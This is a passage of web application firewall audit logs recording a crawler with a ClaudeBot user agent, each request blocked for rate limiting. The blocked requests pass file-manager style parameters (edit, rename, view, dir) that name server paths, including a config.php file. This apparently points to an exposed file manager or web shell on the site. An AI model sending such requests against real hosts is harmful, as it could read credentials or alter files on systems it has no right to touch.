{"transaction":{"time":"13/Mar/2026:09:45:37.322563 +0100","transaction_id":"abPOseEAMg66iR7kG38g7wAAA1A","remote_address":"216.73.216.152","remote_port":34538,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fhtdocs%2Fatito.com%2F404.html HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"fa07077c5c6a5a0222331e8390b9c295","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12911321"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Upgrade":"h2,h2c","Connection":"Upgrade","Accept-Ranges":"bytes","X-Orig-Rid":"fa07077c5c6a5a0222331e8390b9c295","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/atito.com/404.html& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":253,"p2":2604,"p3":0,"p4":0,"p5":448,"sr":143,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:37.412295 +0100","transaction_id":"abPOsbJ190y1fElY11bnkgAAAJY","remote_address":"216.73.216.152","remote_port":34512,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2F%2Fphp-apps.socket HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"96cfa5bd0f011ad7a3739cd747c0d749","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"13042661"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"96cfa5bd0f011ad7a3739cd747c0d749","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=//php-apps.socket& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":184,"p2":1742,"p3":0,"p4":0,"p5":410,"sr":117,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:37.504433 +0100","transaction_id":"abPOsYB2aIMAFdsi8EHymgAAAsg","remote_address":"216.73.216.152","remote_port":34520,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fatito.com%2Fagency-single.html HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"66ef559bbeea42094fd7feabc849a394","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12911327"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"66ef559bbeea42094fd7feabc849a394","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/atito.com/agency-single.html& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":297,"p2":2098,"p3":0,"p4":0,"p5":307,"sr":139,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:37.595266 +0100","transaction_id":"abPOsYB2aIMAFdsi8EHymwAAAsg","remote_address":"216.73.216.152","remote_port":34520,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fnew_jmk%2Finde_old.html HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"bad46166f3de79cc57df37a9b9c55724","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12028829"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"bad46166f3de79cc57df37a9b9c55724","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/new_jmk/inde_old.html& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":252,"p2":2486,"p3":0,"p4":0,"p5":441,"sr":159,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:37.686187 +0100","transaction_id":"abPOsag_lPa2owFZ6_PvIwAAAQU","remote_address":"216.73.216.152","remote_port":33144,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fhtdocs%2Fatito.com%2Fdashboard-listing-table.html HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"b5d4a0828d0c470fcb469a36c9aca338","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"9570884"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"b5d4a0828d0c470fcb469a36c9aca338","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/atito.com/dashboard-listing-table.html& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":266,"p2":2467,"p3":0,"p4":0,"p5":299,"sr":136,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:37.776920 +0100","transaction_id":"abPOsYB2aIMAFdsi8EHynQAAAsg","remote_address":"216.73.216.152","remote_port":34520,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fapps.jmkconsulting-ci.com%2Findex.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"d76d61670be55392914f8d8d34e32c54","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12911336"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"d76d61670be55392914f8d8d34e32c54","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/apps.jmkconsulting-ci.com/index.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":175,"p2":1735,"p3":0,"p4":0,"p5":345,"sr":108,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:37.867685 +0100","transaction_id":"abPOsW-XEucyBza91ntmagAAAwM","remote_address":"216.73.216.152","remote_port":36524,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fhtdocs%2Fatito.com%2Findex42.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"706a197e20dc83c33152245612293cb3","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2819893"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"706a197e20dc83c33152245612293cb3","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/atito.com/index42.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":182,"p2":1735,"p3":0,"p4":0,"p5":312,"sr":119,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:37.966571 +0100","transaction_id":"abPOseEAMg66iR7kG38g8AAAA0A","remote_address":"216.73.216.152","remote_port":33960,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fhtdocs%2Fatito.com%2Findex.html HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"aa4c573ea06dc33c8be0a371cc5aa624","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12028838"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"aa4c573ea06dc33c8be0a371cc5aa624","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/atito.com/index.html& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":276,"p2":2556,"p3":0,"p4":0,"p5":449,"sr":147,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:38.048663 +0100","transaction_id":"abPOsm-XEucyBza91ntmbAAAAxQ","remote_address":"216.73.216.152","remote_port":36712,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fnew_jmk%2Fconfig.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"4974fd1b7f0e0149797c9f782df635f8","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"13239329"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"4974fd1b7f0e0149797c9f782df635f8","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/new_jmk/config.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":171,"p2":1645,"p3":0,"p4":0,"p5":361,"sr":104,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:38.140215 +0100","transaction_id":"abPOsqg_lPa2owFZ6_PvJgAAAQU","remote_address":"216.73.216.152","remote_port":33144,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?dir=%2Fhtdocs%2Frevolution%2Fjs HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"add6c456a9fb002116774221b2b7c8bd","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"9570890"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"add6c456a9fb002116774221b2b7c8bd","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:dir=/htdocs/revolution/js& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":197,"p2":1806,"p3":0,"p4":0,"p5":321,"sr":112,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:38.230995 +0100","transaction_id":"abPOsqg_lPa2owFZ6_PvJwAAAQU","remote_address":"216.73.216.152","remote_port":33144,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fhtdocs%2Fatito.com%2Fabout.html HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"1ceb9d4baa605474ffbc012831629421","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"13533980"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"1ceb9d4baa605474ffbc012831629421","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/atito.com/about.html& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":171,"p2":1738,"p3":0,"p4":0,"p5":351,"sr":91,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:38.321383 +0100","transaction_id":"abPOsrJ190y1fElY11bnlQAAAI0","remote_address":"216.73.216.152","remote_port":56270,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fhtdocs%2Fatito.com%2Findex2.html HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"14f3695311ae00d5966e90050425e053","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"13533983"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"14f3695311ae00d5966e90050425e053","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/atito.com/index2.html& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":171,"p2":1614,"p3":0,"p4":0,"p5":315,"sr":97,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:38.412973 +0100","transaction_id":"abPOsrJ190y1fElY11bnlwAAAI0","remote_address":"216.73.216.152","remote_port":56270,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fnew_jmk%2Findex.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"f960c13735400c25fe3d5bc70abca293","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s 